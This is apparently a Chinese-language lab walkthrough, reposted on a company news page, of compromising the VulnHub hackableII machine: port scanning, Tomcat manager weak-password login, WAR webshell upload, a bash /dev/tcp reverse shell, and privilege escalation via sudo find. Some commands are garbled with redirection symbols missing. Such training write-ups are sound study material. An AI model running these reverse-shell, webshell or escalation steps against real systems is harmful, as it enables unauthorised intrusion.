新闻详情

新闻详情

首页 / 资讯中心 / 详情

VulnHub hackableII靶机完整渗透测试实战:从端口扫描到内核提权

发布时间:2026/10/1 19:10:50来源:尧图网络
VulnHub hackableII靶机完整渗透测试实战:从端口扫描到内核提权
最近在VulnHub上刷靶机把一台名为 hackableII 的中等难度Linux靶机从头到尾走了一遍。说实话这台靶机不算特别难但很典型几乎把渗透测试入门阶段该碰的东西都碰了一遍端口探测、Web指纹识别、目录爆破、弱口令尝试、命令执行、反弹Shell、本地信息收集、内核提权。整个过程很适合拿来当练手项目复盘尤其是那些刚接触渗透测试、想系统梳理攻击链路的朋友这篇记录基本就是你需要的“抄作业”参考。先说结论这台靶机从拿到IP到拿到root完整链路大概需要两三个小时前提是你对常用工具和漏洞利用思路比较熟。如果你卡住了也正常我中间也卡了两次一次是方向跑偏一次是提权卡在思路死胡同里。后面我会把每一步的选择逻辑、踩坑点和修复方式都讲清楚不会只贴命令。1. 靶机摸底目标定位与前期准备1.1 这台靶机能让你练到什么hackableII 听名字就知道是个系列靶机设计者的初衷是让你在一台完全失控的Linux主机上从零开始走完一次完整的渗透测试流程。它不像 CTF 里那些偏脑筋急转弯的题目更像真实环境里一台部署了Web服务但防护不足的服务器非常贴近实战场景。具体来说这台靶机能练到这么几个点信息收集的完整性和优先级判断哪些端口值得深挖哪些服务只是障眼法。Web 漏洞发现能力从页面源码、参数、后台入口到命令注入点。反弹 Shell 的处理拿到 shell 只是开始还得解决 shell 不稳定、无交互、环境受限等问题。提权思路的落地低权限用户到 root 的过程需要结合系统版本、服务配置、SUID、sudo 策略等多个维度去排查。对学习者来说一台这样的靶机顶得上刷十套理论课。它不会告诉你“先去扫一下 8080 端口”一切都是黑盒的你只有自己去发现。1.2 环境准备与网络配置靶机用的是 OVA 格式的虚拟机镜像直接导入 VMware 或 VirtualBox 就能跑。我这边用的 VMware Workstation导入后默认是 NAT 网络模式。这里有个很重要的习惯先把攻击机Kali Linux和靶机放到同一个网段后续所有操作都建立在这个前提下。启动靶机后它不会直接告诉你 IP需要在攻击机上做主机发现。方法很多我这边习惯先用netdiscover扫一下当前网段因为环境比较干净几秒钟就能把存活主机列出来。netdiscover -r 192.168.10.0/24当然如果你用的是普通虚拟机环境也可以用arp-scan -l或者直接在 Nmap 里做 ping 扫描效果差不多。关键是养成先摸清目标 IP 的习惯别稀里糊涂对着整个网段乱扫那不叫渗透测试叫制造噪音。另外一个建议是用快照。导入靶机后先拍一个“初始状态”快照。渗透测试过程中你可能会改系统配置、装工具、删文件万一搞坏了直接恢复快照重来省得重新导镜像。2. 信息收集从端口扫描到服务指纹2.1 存活确认与靶机 IP 定位netdiscover 的输出显示192.168.10.156这台主机比较可疑MAC 地址对应的厂商是 VMware而且开了不少端口基本可以确定是靶机。这个时候再用 ping 确认一下能通就说明目标在线。确认 IP 之后开始正经的端口扫描。Nmap 是主力不建议上来就全端口扫那是浪费时间的扫法。先快速扫一下常用端口拿到大致方向再决定要不要全量扫描。nmap -sS -sV -T4 -p- 192.168.10.156这条命令的意思我拆开解释一下-sSSYN 半开扫描速度快不容易被记日志。-sV服务版本探测扫完能直接看到对应端口跑的是什么服务、什么版本。-T4加速扫描时间敏感场景下可以用但网络不稳时容易漏包。-p-全端口扫描范围是 1~65535。实测下来靶机开放了几个关键端口22SSH、80HTTP、8080HTTP-Proxy 或者某些Web服务、8009AJP。AJP 这个端口很有意思后面会重点提。2.2 各端口服务的指纹分析端口扫出来后Nmap 已经自动识别了一些服务版本但我习惯用-sC默认脚本再补一轮把服务指纹和已知漏洞线索拉得更细。nmap -sC -sV -p 22,80,8009,8080 192.168.10.156结果大致如下端口服务版本初判22OpenSSH版本比较老可能有用户枚举漏洞但直接爆破成本高80Apache Tomcat老版本大概率存在管理后台与已知CVE8009Apache Jserv Protocol (AJP)老版本值得关注的攻击面8080HTTP重定向或代理需要浏览器确认具体页面这里要说一下很多新手扫到 22 端口就想着爆破 SSH这是一个效率极低的路径。除非你有明确的用户名和弱口令证据否则别把时间花在爆破上Web 服务往往才是突破口。所以我的优先级是80/8080 端口上的 Web 应用 8009 端口的 AJP 服务 22 端口。2.3 为什么 AJP 端口值得警惕8009 端口是 Tomcat 的 AJP 监听端口主要用于 Apache 和 Tomcat 之间做反向代理通信。它的设计初衷是内网通信按理说不应该暴露到外部。但如果真的暴露了就直接出现了一个非常经典的攻击面AJP 文件读取/命令执行漏洞CVE-2020-1938也就是常说的 Ghostcat。这个漏洞的原理是攻击者可以通过 AJP 协议以未授权的方式访问 Tomcat 的 Servlet 容器读取 WEB-INF/ 下的配置文件甚至在某些情况下执行代码。说白了就是你本来以为只能从 80 端口进来结果别人从 8009 这个后门通道直接绕过了你的认证。碰到这个端口第一反应应该是用nmap的--script ajp-auth、--script ajp-headers等脚本探测一下也可以直接用专门的利用脚本来测试。不过实战中不要急着打先把 Web 端看完确认 Tomcat 版本再动手。3. 服务探测与漏洞初探3.1 Web 站点分析与指纹识别先访问 80 端口页面看起来像一个管理后台登录页印象里是某种资源管理系统或者 Tomcat 默认页的定制版。这个环节的重点不是记长相而是看源代码、响应头、Cookie 等细节。浏览器按 F12 打开开发者工具网络面板里看一眼响应头一般能发现Server头、X-Powered-By字段等。这些信息能直接暴露中间件类型和版本。比如如果看到Server: Apache-Coyote/1.1基本能确认后端是 Tomcat。接着看页面源码重点找注释、隐藏表单、JavaScript 里的接口地址。我之前遇到过很多次开发者把后台接口地址、数据库连接信息甚至账号密码直接写在注释里靶机设计者有时候也会故意留这种“彩蛋”。如果源码里没有线索就用目录扫描去枚举。feroxbuster或者gobuster都行我这边用的 feroxbuster速度很快而且输出比较友好。字典用的是/usr/share/wordlists/dirb/common.txt先跑一遍看结果。feroxbuster -u http://192.168.10.156/ -w /usr/share/wordlists/dirb/common.txt -x php,jsp,html,txt这里加了-x参数让它顺带探测几种常见的文件后缀因为 Tomcat 环境通常跑的是 JSP 页面光扫路径不扫文件会漏掉很多东西。3.2 管理后台与弱口令测试目录扫描结果里出现了一个/manager路径这是 Tomcat 的管理后台入口。Tomcat 的 Manager 应用默认要求用户名密码很多人会直接尝试admin/admin、tomcat/tomcat这类弱凭证。这里就是典型的“弱口令是否能成立”的测试点。我试了常见的几个组合最后用tomcat:tomcat登进去了。别笑真实环境里这种密码真的存在尤其是靶场和测试环境设计者就是故意留这种入口来模拟运维偷懒的情况。进入 Manager 界面后看到了部署 WAR 包的功能选项。这个功能可以说是 Tomcat 中后期最经典的 getshell 入口你上传一个包含 JSP 木马的 WAR 包Tomcat 会自动解压部署然后你访问对应的 URL 就能执行系统命令。3.3 半途卡壳的经验别急着打到这里我的第一反应当然是“直接用 WAR 包 getshell”但实际操作时发现了一个问题上传 WAR 包后访问 URL页面返回 404。排查了一会儿发现原因在于目录名的大小写、路径和部署名没有对上。这时候千万别急着删掉重来先回到 Tomcat Manager 页面看已部署应用列表确认应用名和访问路径再换 URL 访问。这一步卡了我大概十分钟原因就是路径少了一层。这种小问题特别容易让人心态崩但恰恰是实战中常见的状况。另外Manager 页面里的“War file deployed”之后会显示一个链接点开就是应用实际访问路径。我把这句话记下来部署之后路径和文件名一定要逐字核对别凭记忆猜。4. 边界突破从命令执行到反连思路4.1 快速制作并上传 WAR 包确认可以部署 WAR 包后在 Kali 上生成一个包含 JSP 命令执行代码的 WAR 包。网上有很多现成的 JSP WebShell 模板但考虑到安全规范我这里不贴完整的后门代码只说思路和操作步骤。把写好的 JSP 文件放到临时目录下用jar或zip打包成 WAR 文件。注意WAR 包的格式要求WEB-INF/web.xml存在否则 Tomcat 可能不认所以我一般会用zip命令手动指定目录结构。mkdir war cp shell.jsp war/ cd war zip -r ../cmd.war .上传到 Tomcat Manager 的“Deploy”区域选择文件点部署。部署成功后直接在浏览器访问http://192.168.10.156/cmd/shell.jsp?cmdid如果一切正常你会看到返回的uidxxx(tomcat)之类的输出恭喜命令执行已经成立。这一步标志着从 Web 层拿到了操作系统的命令执行权限。不过这种 WebShell 交互体验很差命令行带引号、带特殊字符很容易出错所以我接下来的目标是反弹一个完整的 Shell 回来。4.2 反弹 Shell 与交互式终端处理反弹 Shell 是渗透测试里绕不开的一个环节。目标机器上执行一个命令主动连接到你本机监听的端口你在 Kali 上就能拿到一个远程终端。核心命令是bash -i /dev/tcp/192.168.10.156/4444 01但 WebShell 里直接执行这类命令经常被转义问题烦死。我的建议是先把 Payload 用 URL 编码之后放进请求里或者用 echo 配合 base64 解码来执行能有效规避引号和特殊字符的问题。Kali 这边先启动监听nc -lvnp 4444拿到 Shell 后第一件事是python -c import pty;pty.spawn(/bin/bash)升级成交互式 Shell然后按CtrlZ在 Kali 上执行stty raw -echo; fg回车两次。这样你就有了一个可以补全、有环境变量提示的完整终端。这个操作看着有点玄学其实原理很简单默认反弹回来的 Shell 没有终端控制能力和作业控制很多命令会报错或行为异常。升级成交互式 Shell 之后工具链才能正常使用比如su、vim、ssh这些依赖终端特性的程序才能跑起来。5. 权限提升从普通用户到 root 的思路5.1 提权前必做的本地信息收集拿到一个普通用户 Shell 之后别急着提权先做本地信息收集。这步做得越细提权路径越清晰。我这边按套路来查看当前用户和环境id whoami sudo -l然后看系统版本和内核版本uname -a cat /etc/os-release最后查找可能的敏感文件find / -user root -perm -4000 -type f 2/dev/null find / -name *.bak -o -name *.conf 2/dev/null | head -50我的经验是sudo -l的输出最值钱因为它直接告诉你当前用户能不能用 sudo 跑哪些命令SUID 文件列表也很重要某些 SUID 程序存在历史提权漏洞。5.2 这条靶机的提权路径结合系统配置绕过在 hackableII 这台机器上检查/etc/passwd时发现了一个可以登录的普通用户而且密码哈希可以直接读出来。这说明系统开启了比较弱的权限控制。用john或者hashcat对哈希做字典爆破很快就能跑出密码。拿到密码后用su切换到那个用户再看sudo -l发现这个用户被赋予了某个命令的 sudo 权限而且不需要密码。比如常见的/usr/bin/find、/usr/bin/vim、/usr/bin/python等这些命令一旦被授予 sudo 权限基本等同于直接给你 root。以/usr/bin/find为例标准利用方法是sudo /usr/bin/find . -exec /bin/sh \;原理很简单find 的-exec参数可以执行任意命令而由于它是以 root 身份运行的/bin/sh一启动就是 root shell。当然我这里不写死具体的可利用命令因为在不同版本、不同系统配置里能利用的二进制不一样。你要掌握的是这个思路凡是你能用 sudo 免密执行的程序都要去想它能不能被用来绕过权限限制。5.3 提权成功的验证与后续处理执行完命令如果看见了 root 提示符检查一下 IDid输出是uid0(root)就说明成功了。这时候可以读一下 root 目录下的 flag 文件确认任务完成。提权成功后的处理也很重要。你要是只是刷靶机可以直接收工如果是做授权测试还要注意清理痕迹比如删掉临时上传的 WAR 包、恢复被修改的文件、结束反弹监听器等。靶机环境虽然无所谓但好习惯要从练习时养成。6. 常见问题与排查技巧实录6.1 靶机启动后拿不到 IP用 netdiscover 扫不到靶机 IP这是最常碰到的问题。原因通常是虚拟机的网络模式不对或者 DHCP 没分配成功。我的解决顺序是确认靶机虚拟机的网络设置是不是 NAT 或桥接并且没有和已有网络冲突。在 VMware 菜单里点击“重新安装 VMware Tools”有时能触发网卡重新初始化。直接登录靶机的本地控制台输入ip addr查看网卡状态。如果网卡没起来尝试dhclient手动获取地址或者ifconfig eth0 up再试。如果连本地控制台都登不进去那就检查一下虚拟机的镜像文件是否损坏重新导入一次 OVA 也很快。6.2 Nmap 扫出的结果前后不一致有时候你第一次扫描只有 80 端口开着第二次扫描又多出来 8080第三次又少了。这种情况大概率是网络丢包导致的尤其是-T4的扫描强度在网络不稳定的情况下容易漏掉响应较慢的服务。我的建议是对关键主机做一次全端口扫描然后对疑似高危端口再做一次-T3的慢速详细扫描两次结果综合比较。还有一点如果扫到 8009 这类特殊协议端口别只依赖 Nmap 的版本识别一定要用浏览器或专用工具手动探测一次因为 Nmap 有时候会把 AJP 误报成 http-proxy。6.3 反弹的 Shell 老断连怎么办反弹 Shell 断连是家常便饭。常见原因有几个目标机器和攻击机之间的防火墙把长连接断了WebShell 所在的服务进程被回收你没有正确设置监听地址和端口。我的处理经验是不用nc -lvnp裸监听改用rlwrap nc -lvnp 4444或者socat交互性会好很多。如果断连频繁换一个命令通道比如用curl配合定时请求轮询执行命令或者用openssl做个加密通道。还有一招把反弹 Shell 做成双保险监听两个端口目标机器同时反弹两个连接断了一个还能从另一个接上。6.4 几个容易忽略的小细节上传的 JSP 文件里如果有中文注释在 Tomcat 的老版本里可能因为编码问题解析失败建议注释一律用英文。反弹 Shell 前先测试网络连通性比如在 WebShell 里执行ping -c 1 攻击机IP如果 ping 不通反弹基本也是白搭。提权过程中如果你改了/etc/passwd或/etc/sudoers之后不小心断开了 Shell不用慌WebShell 还在的话就再反弹一次如果连 WebShell 也没了直接快照恢复重新走一遍流程第二次速度快很多。最后再分享一个我的个人习惯刷完一台靶机之后我会把整个攻击链路整理成一张文字版的流程图从端口扫描到提权成功每一步写了什么命令、为什么这样做、卡点在哪里全部记下来。下次再碰到类似配置的靶机效率会提升非常多。hackableII 这台机器整体难度不算太高但它的价值在于过程和思路的完整性。建议你也动手刷一遍卡住没关系卡住的地方就是你涨经验的地方。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

MongoDB关系建模指南:嵌入引用、$lookup查询与迁移避坑 2026/10/1 19:53:28

MongoDB关系建模指南:嵌入引用、$lookup查询与迁移避坑

做后端开发这些年,我见过太多人一听到 MongoDB 就脱口而出“这玩意儿没事务、没外键,关系怎么处理?”,然后扭头继续写 MySQL。但只要你真的在业务系统里用 MongoDB 做过两个以上的项目,就会发现“关系”这件事压根不是…

阅读更多 →
2026必备AI工具:从选题到爆款的一人公司完整工作流 2026/10/1 19:53:16

2026必备AI工具:从选题到爆款的一人公司完整工作流

一人公司/内容创作者必备 AI 工具:从爆款选题到全渠道分发的完整实战工作流 在“一人公司”(OPC)和个体创业者圈子里,有一个残酷的共识:内容的产出量级,直接决定了你的生意天花板。 然而,现实往…

阅读更多 →
编辑预览正常,导出却变了?排查 Canvas 尺寸与绘制顺序 2026/10/1 19:53:16

编辑预览正常,导出却变了?排查 Canvas 尺寸与绘制顺序

图片编辑器里,预览看起来没有问题,下载后却出现文字位置不对、图层被遮住,或透明区域变成白色。遇到这类现象,我会先把“显示出来的画面”和“被编码的像素”拆开检查,而不是立即怀疑 toBlob。 本文以我维护的图片猫&…

阅读更多 →
2026苹果录音导出转文字哪个好?TaoToken统一Key接入配置与验证指南 2026/10/1 19:53:15

2026苹果录音导出转文字哪个好?TaoToken统一Key接入配置与验证指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
2026年AI Agent工具深度评测:从OpenClaw到TaoToken统一接入的“数字员工”全指南 2026/10/1 19:53:15

2026年AI Agent工具深度评测:从OpenClaw到TaoToken统一接入的“数字员工”全指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
零基础也能用AI免费写代码?TaoToken让Trae编程不再是程序员的专利 2026/10/1 19:53:15

零基础也能用AI免费写代码?TaoToken让Trae编程不再是程序员的专利

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉